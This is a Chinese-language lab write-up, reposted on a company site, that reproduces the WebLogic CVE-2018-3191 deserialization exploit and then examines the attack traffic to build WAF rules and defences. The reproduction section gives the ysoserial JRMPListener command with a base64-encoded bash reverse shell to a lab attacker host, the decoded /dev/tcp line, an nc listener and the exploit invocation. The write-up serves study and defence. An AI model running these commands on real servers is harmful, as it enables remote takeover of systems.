如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞

本篇文章給大家分享的是有關(guān)如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

創(chuàng)新互聯(lián)專注于企業(yè)成都全網(wǎng)營銷、網(wǎng)站重做改版、阿城網(wǎng)站定制設(shè)計、自適應(yīng)品牌網(wǎng)站建設(shè)、H5技術(shù)成都做商城網(wǎng)站、集團公司官網(wǎng)建設(shè)、外貿(mào)網(wǎng)站制作、高端網(wǎng)站制作、響應(yīng)式網(wǎng)頁設(shè)計等建站業(yè)務(wù),價格優(yōu)惠性價比高,為阿城等各大城市提供網(wǎng)站開發(fā)制作服務(wù)。

一、前言

在不久前Oracle官方發(fā)布的10月重要補丁更新公告(Oracle Critical Patch Update Advisory - October 2018)中發(fā)布了五個基于T3協(xié)議的WebLogic遠程高危漏洞(CVE-2018-3191、CVE-2018-3197、CVE-2018-3201、CVE-2018-3245、CVE-2018-3252),CVSS 3.0 Base Score均為9.8分,版本涉及:10.3.6.0, 12.1.3.0, 12.2.1.3,本文將針對其中影響較大的CVE-2018-3191進行復現(xiàn)與分析,并在流量端進行追溯。如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞

二、概要

Weblogic是目前全球市場上應(yīng)用最廣泛的J2EE工具之一,被稱為業(yè)界最佳的應(yīng)用程序服務(wù)器,其用于構(gòu)建J2EE應(yīng)用程序,支持新功能,可降低運營成本,提高性能,增強可擴展性并支持Oracle Applications產(chǎn)品組合。

官方文檔傳送門:https://docs.oracle.com/middleware/12213/wls/INTRO/intro.htm#INTRO123。

關(guān)于T3協(xié)議:

說到T3協(xié)議就不得不提起JAVA遠程方法調(diào)用:JAVA RMI(Java Remote Method Invocation),其主要用于實現(xiàn)遠程過程調(diào)用的Application編程接口。通過RMI可以使計算機上運行的程序調(diào)用遠程服務(wù)器上的對象,其目的是使得遠程接口對象的使用盡可能簡化。該接口的實現(xiàn)方式之一即為:JRMP(Java遠程消息交換協(xié)議,Java Remote Message Protocol),也可以使用CORBA兼容的方法實現(xiàn)。詳細介紹請參考:    https://blog.csdn.net/cdl2008sky/article/details/6844719。

T3協(xié)議是用于Weblogic服務(wù)器和其他Java Application之間傳輸信息的協(xié)議,是實現(xiàn)上述RMI遠程過程調(diào)用的專有協(xié)議,其允許客戶端進行JNDI調(diào)用。    

當Weblogic發(fā)起一個T3協(xié)議連接的時候,Weblogic會連接每一個Java虛擬機并傳輸流量,由于通信過程得到了極大的簡化,所以使得其在操作系統(tǒng)資源利用上實現(xiàn)的高效以及最大化,同時提高了傳輸速度。

三、分析與復現(xiàn)

3.1 環(huán)境說明:

攻擊機:

192.168.137.135 (Linux  4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 x86_64 GNU/Linux)

靶機:

192.168.137.128 (Linux ubuntu 4.15.0-36-generic #39~16.04.1-Ubuntu SMP  x86_64 GNU/Linux)

3.2 Weblogic服務(wù)信息的快速檢測

首先,需要探測靶機Weblogic服務(wù)的相關(guān)信息,通過使用Nmap工具進行快速掃描,命令如下:

nmap -Pn -sV 192.168.137.128 -p7001 --script=weblogic-t3-infi.nse

如下圖標記所示,靶機的Weblogic開啟了T3協(xié)議,且屬于受CVE-2018-3191影響的版本范圍,因此,存在著漏洞風險。

如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞

3.3 建立接收被攻擊方Weblogic請求的JRMP Listener

在獲取靶機的Weblogic版本及T3協(xié)議的相關(guān)信息后,即可開始進行漏洞復現(xiàn)。這里,我們需要使用到y(tǒng)soserial工具,該工具可以針對不同的Weblogic產(chǎn)品給出漏洞利用腳本。

下載地址:https://github.com/angelwhu/ysoserial。

ysoserial工具基本使用方法:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 '【commands】'

此處,我們在終端輸入命令:

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2345 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzUvNzg5MCAwPiYx|{base64,-d}|{bash,-i}'

目的是在本地建立一個JRMPListener (批注:Java Remote Method Protocol,Java遠程消息交換協(xié)議。是特定于Java技術(shù)的、用于查找和引用遠程對象的協(xié)議。這是運行在RMI之下、TCP/IP之上的線路層協(xié)議),用于接收被攻擊方的Weblogic請求,并執(zhí)行指定的bash反彈命令。

命令后半段的bash命令進行了base64轉(zhuǎn)碼解碼的操作,此舉是為了避免Runtime.getRuntime().exec() 執(zhí)行過程中將特殊符號轉(zhuǎn)義,明文為:

bash -i >& /dev/tcp/192.168.138.135/7890 0>&1

下圖可以看到,我們成功打開了JRMP listener:

如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞

3.4 監(jiān)聽7890端口

nc -lvvp 7890

此舉是為了等待靶機反彈bash連接。

3.5 執(zhí)行Exploit

python exploit.py 192.168.137.128 7001 weblogic-spring-jndi.jar 192.168.137.135 2345

Weblogic發(fā)起遠程方法調(diào)用,即rmi服務(wù)如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞

上圖可以看到,生成了攻擊載荷,且注入成功,此時nc監(jiān)聽的端口會收到反彈的bash,獲得root權(quán)限。

工具下載地址:

CVE-2018-3191 payload生成工具:

https://github.com/voidfyoo/CVE-2018-3191/releases

Weblogic T3協(xié)議發(fā)送工具:    

https://github.com/Libraggbond/CVE-2018-3191

(注:工具安全性請自行查驗)

四、流量側(cè)捕獲與分析

如圖所示為此次在攻擊過程中在流量側(cè)抓取的數(shù)據(jù)包,其中No.16為帶有攻擊載荷的流量包:如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞經(jīng)過對TCP流的追蹤,我們可以在此基礎(chǔ)上進行詳細分析。

4.1 通過T3協(xié)議進行通信

如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞

4.2 JtaTransactionManager類

由于此前Oracle官方?jīng)]有將com.bea.core.repackaged包中的AbstractPlatformTransactionManager類加入到黑名單中,因此導致了Spring JNDI注入的發(fā)生。通過我們對CVE-2018-3191 POC的分析,在此類中,其主要是使用了JtaTransactionManager這個類進行Spring JNDI注入,這點我們也可以在流量端有所發(fā)現(xiàn):如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞

4.3 攻擊payload

如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞

4.4 基于T3專有協(xié)議的Java.rmi遠程方法調(diào)用

如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞綜上,通過上述關(guān)鍵特征,我們可以很快提取出waf相關(guān)防御規(guī)則。    

五、防御建議

根據(jù)本文上述分析,安全工作人員可很快提取相關(guān)防御規(guī)則升級至WAF系統(tǒng),由于攻擊者是通過T3協(xié)議來完成攻擊,所以在T3協(xié)議訪問控制上應(yīng)該嚴加管控,ORACLE在本次10月重要披露中除CVE-2018-3252外均可通過T3協(xié)議訪問控制策略來進行臨時防御。通過Weblogic中base_domain的設(shè)置頁面的"安全"->"篩選器"來進行配置和防御,具體方法不再贅述,請參考網(wǎng)絡(luò)資料。

由于本次公開的漏洞涉及到了幾個較大的版本號,所以影響還是非常大的,建議受漏洞影響的用戶盡快升級或更新補丁來進行防護。鑒于Weblogic在防御反序列化漏洞上通常采用黑名單的方式,黑名單在攻擊防御側(cè)存在嚴重弊端,所以在升級版本或更新補丁的同時建議將JDK版本升級至最新版本。

以上就是如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降?。希望你能通過這篇文章學到更多知識。更多詳情敬請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

文章標題:如何從流量側(cè)淺談WebLogic遠程代碼執(zhí)行漏洞
本文鏈接:http://muchs.cn/article26/ghhgcg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供響應(yīng)式網(wǎng)站電子商務(wù)、網(wǎng)站內(nèi)鏈服務(wù)器托管、面包屑導航、品牌網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站優(yōu)化排名